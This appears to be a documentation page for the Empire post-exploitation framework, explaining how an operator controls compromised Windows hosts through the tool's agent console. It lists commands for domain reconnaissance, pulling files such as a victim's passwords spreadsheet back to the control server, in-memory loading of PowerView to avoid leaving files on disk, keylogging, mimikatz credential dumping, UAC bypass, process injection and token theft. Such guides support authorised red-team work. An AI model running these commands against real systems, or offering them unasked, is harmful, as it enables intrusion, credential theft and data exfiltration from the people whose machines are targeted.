4. Agent Interaction
Listing and Selecting Agentsβ
# Enter the agents context
(Empire) > agents
# List all agents
(Empire: agents) > list
tip
- An asterisk
*at the end of an agent'sNamesignifies that the agent is running with elevated privileges (local admin) - Agents in green have recently checked in; agents in red are inactive or dead
# Interact with a specific agent
(Empire: agents) > interact <AGENT_NAME>
Shell Commandsβ
Execute any shell command on the agent. Commands are queued as tasks and results are returned on the next beacon.
(Empire: <AGENT_NAME>) > shell '<COMMAND>'
# Examples
(Empire: <AGENT_NAME>) > shell 'whoami /all'
(Empire: <AGENT_NAME>) > shell 'ipconfig /all'
(Empire: <AGENT_NAME>) > shell 'net user /domain'
(Empire: <AGENT_NAME>) > shell 'Get-Process'
note
Shell commands are PowerShell by default. Wrap in cmd /c to execute CMD syntax:
(Empire: <AGENT_NAME>) > shell 'cmd /c net localgroup administrators'
Viewing task resultsβ
Task results may not return immediately - the agent retrieves and returns them on the next beacon. Use view or history to check results.
# View the result of a specific task by ID
(Empire: <AGENT_NAME>) > view <TASK_ID>
# View the last N task results
(Empire: <AGENT_NAME>) > history 10
File Operationsβ
Download a file from the agent to the Empire serverβ
(Empire: <AGENT_NAME>) > download <REMOTE_FILE_PATH>
# Example
(Empire: <AGENT_NAME>) > download C:\Users\victim\Documents\passwords.xlsx
Downloaded files are saved to the Empire server's downloads/ directory under the agent's name.
Upload a file from the Empire server to the agentβ
(Empire: <AGENT_NAME>) > upload <LOCAL_FILE_PATH> [<REMOTE_DESTINATION>]
# Example - uploads to the agent's current working directory
(Empire: <AGENT_NAME>) > upload /tmp/tool.exe
# Example - upload to a specific path
(Empire: <AGENT_NAME>) > upload /tmp/tool.exe C:\Windows\Temp\tool.exe
Script Importβ
Load a PowerShell script into the agent's memory and call its functions without touching disk.
# Import a PS1 script from the Empire server
(Empire: <AGENT_NAME>) > script_import /tmp/PowerView.ps1
# Call a function from the imported script
(Empire: <AGENT_NAME>) > script_command Get-DomainUser -Properties samaccountname,memberof
tip
script_import keeps the script in memory only on the agent - nothing is written to disk. This is the preferred way to run tools like PowerView, PowerUp, or any custom PS script without dropping files.
Agent Info and Propertiesβ
# Display full agent properties (OS, hostname, username, PID, checkin time, etc.)
(Empire: <AGENT_NAME>) > info
# Display a specific property
(Empire: <AGENT_NAME>) > display <PROPERTY_NAME>
# Example
(Empire: <AGENT_NAME>) > display hostname
Quick-Reference Commandsβ
| Command | Description |
|---|---|
shell '<CMD>' | Execute a shell command |
whoami | Shortcut for shell 'whoami' |
ps | Shortcut for shell 'ps' (process list) |
sc | Run screenshot module |
keylog | Start keylogger module |
mimikatz | Run credentials/mimikatz/logonpasswords |
sherlock | Run privesc/sherlock (local privesc check) |
bypassuac <LISTENER> | UAC bypass via eventvwr |
psinject <LISTENER> <PID> | Inject agent into target process |
spawn <LISTENER> | Spawn a new agent under the current agent |
steal_token <PID> | Steal token from a process |
revtoself | Revert impersonation to original token |
download <PATH> | Download file from agent |
upload <LOCAL> [REMOTE] | Upload file to agent |
history [N] | View last N task results |
view <TASK_ID> | View result of specific task |
info | Show agent properties |
Help Menuβ
agents Help
(Empire: agents) > help
βHelp Optionsβββββββββββββββββββββββββββββββββ¬ββββββββββββββββββββββ
β Name β Description β Usage β
ββββββββββΌββββββββββββββββββββββββββββββββββββΌββββββββββββββββββββββ€
β clear β Clear tasks for selected listener β clear <agent_name> β
ββββββββββΌββββββββββββββββββββββββββββββββββββΌββββββββββββββββββββββ€
β help β Display the help menu for the β help β
β β current menu β β
ββββββββββΌββββββββββββββββββββββββββββββββββββΌββββββββββββββββββββββ€
β kill β Kills and removes specified agent β kill <agent_name> β
β β [agent_name, stale, or all]. β β
ββββββββββΌββββββββββββββββββββββββββββββββββββΌββββββββββββββββββββββ€
β list β Get running/available agents β list β
ββββββββββΌββββββββββββββββββββββββββββββββββββΌββββββββββββββββββββββ€
β rename β Rename selected listener β rename <agent_name> β
β β β <new_agent_name> β
ββββββββββ΄ββββββββββββββββββββββββββββββββββββ΄ββββββββββββββββββ ββββ
agent interaction Help
(Empire: <AGENT_NAME>) > help
βHelp Optionsβββββ¬ββββββββββββββββββββββββββββββββββββββ¬ββββββββββββββββββββββββββββββββββ
β Name β Description β Usage β
ββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββ€
β display β Display an agent property β display <property_name> β
ββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββ€
β download β Tasks the agent to download a file β download <file_name> β
ββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββ€
β help β Display the help menu β help β
ββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββ€
β history β Display last N task results β history [<number_tasks>] β
ββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββ€
β info β Display agent info β info β
ββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββ€
β killdate β Set an agent's killdate β killdate <kill_date> β
ββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββ€
β script_command β Execute a function in the imported β script_command <script_cmd> β
β β PowerShell script β β
ββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββ€
β script_import β Import a PS script into agent memoryβ script_import <script_location> β
ββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββ€
β shell β Execute a shell command β shell <shell_cmd> β
ββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββ€
β sleep β Update delay (s) and jitter (0-1.0) β sleep <delay> <jitter> β
ββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββ€
β update_comms β Update the listener for an agent β update_comms <listener_name> β
ββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββ€
β upload β Upload a file to the agent β upload <local_file_directory> β
β β β [destination_file_name] β
ββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββ€
β view β View specific task and result β view <task_id> β
ββββββββββββββββββΌββββββββββββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββββββ€
β workinghours β Set an agent's working hours β workinghours <working_hours> β
ββββββββββββββββββ΄ββββββββββββββββββββββββββββββββββββββ΄ββββββββββββββββββββββββββββββββββ